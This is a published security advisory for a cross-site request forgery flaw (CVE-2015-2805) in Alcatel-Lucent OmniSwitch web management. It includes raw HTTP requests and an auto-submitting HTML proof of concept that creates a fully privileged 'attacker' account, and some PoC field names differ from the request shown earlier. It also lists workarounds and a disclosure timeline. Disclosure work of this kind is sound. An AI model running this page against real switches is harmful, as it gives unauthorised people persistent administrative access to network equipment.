Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery

During a penetration test, RedTeam Pentesting discovered a vulnerability
in the management web interface of an Alcatel-Lucent OmniSwitch 6450.
The management web interface has no protection against cross-site
request forgery attacks. This allows specially crafted web pages to
change the switch configuration and create users, if an administrator
accesses the website while being authenticated in the management web
interface.

Details
=======

Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400,
  6855, 6900, 10K, 6860
Affected Versions: All Releases:
  AOS 6.4.5.R02
  AOS 6.4.6.R01
  AOS 6.6.4.R01
  AOS 6.6.5.R02
  AOS 7.3.2.R01
  AOS 7.3.3.R01
  AOS 7.3.4.R01
  AOS 8.1.1.R01
Fixed Versions: -
Vulnerability Type: Cross-site request forgery
Security Risk: medium
Vendor URL: http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004
Advisory Status: published
CVE: CVE-2015-2805
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805


Introduction
============

"The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable
LAN Switches are the latest value stackable switches in the OmniSwitch
family of products. The OmniSwitch 6450 was specifically built for
versatility offering optional upgrade paths for 10 Gigabit stacking, 10
Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and
Metro Ethernet services."

(from the vendor's homepage)

More Details
============

The management web interface of the OmniSwitch 6450 can be accessed
using a web browser via HTTP. The web interface allows creating new user
accounts, in this case an HTTP request like the following is sent to the
switch:

  POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 214

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:244.T1:O1=secret
  &EmWeb_ns:mip:246.T1:O2=-1
  &EmWeb_ns:mip:248.T1:O3=
  &EmWeb_ns:mip:249.T1:O4=1
  &EmWeb_ns:mip:250.T1:O5=4

This request creates a user "attacker" with the password "secret". All
other parametres are static. All POST parametres can be predicted by
attackers

This means that requests of this form can be prepared by attackers and sent
from any web page the user visits in the same browser. If the user is
authenticated to the switch, a valid session cookie is included in the request
automatically, and the action is performed.

In order to activate the new user for the web interface it is necessary
to enable the respective access privileges in the user's profile. This can also
be done via the web interface. Then the HTTP POST request looks like the
following:

  POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 167

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:4.T1:O1=
  &EmWeb_ns:mip:5.T1:O2=
  &EmWeb_ns:mip:6.T1:O3=4294967295
  &EmWeb_ns:mip:7.T1:O4=4294967295

This request sets all access privileges for the user "attacker" and
is again completely predictable.


Proof of Concept
================

Visiting the following HTML page will create a new user via the switch's
management web interface, if the user is authenticated at the switch:

------------------------------------------------------------------------
<html>
<head>
<title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title>
</head>
<body>
  <form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html"
  method="POST" id="CSRF" style="visibility:hidden">
    <input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" />
    <input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" />
  </form>
<script>
document.getElementById("CSRF").submit();
</script>
</body>
</html>
------------------------------------------------------------------------


Workaround
==========

Disable the web interface by executing the following commands:

AOS6:

  no ip service http
  no ip service secure-http

AOS 7/8:

  ip service http admin-state disable

If this is not possible, use a dedicated browser or browser profile for
managing the switch via the web interface.


Fix
===

Upgrade the firmware to a fixed version, according to the vendor the
fixed versions will be available at the end of July 2015.


Security Risk
=============

If attackers trick a logged-in administrator to visit an attacker-controlled
web page, the attacker can perform actions and reconfigure the switch. In this
situation an attacker can create an additional user account on the switch for
future access. While a successful attack results in full access to the switch,
the attack is hard to exploit because attackers need to know the IP address of
the switch and get an administrative user to access an attacker-controlled web
page. The vulnerability is therefore rated as a medium risk.


Timeline
========

2015-03-16 Vulnerability identified
2015-03-25 Customer approves disclosure to vendor
2015-03-26 CVE number requested
2015-03-31 CVE number assigned
2015-04-01 Vendor notified
2015-04-02 Vendor acknowledged receipt of advisories
2015-04-08 Requested status update from vendor, vendor is investigating
2015-04-29 Requested status update from vendor, vendor is still investigating
2015-05-22 Requested status update from vendor
2015-05-27 Vendor is working on the issue
2015-06-05 Vendor notified customers
2015-06-08 Vendor provided details about affected versions
2015-06-10 Advisory released


RedTeam Pentesting GmbH
=======================

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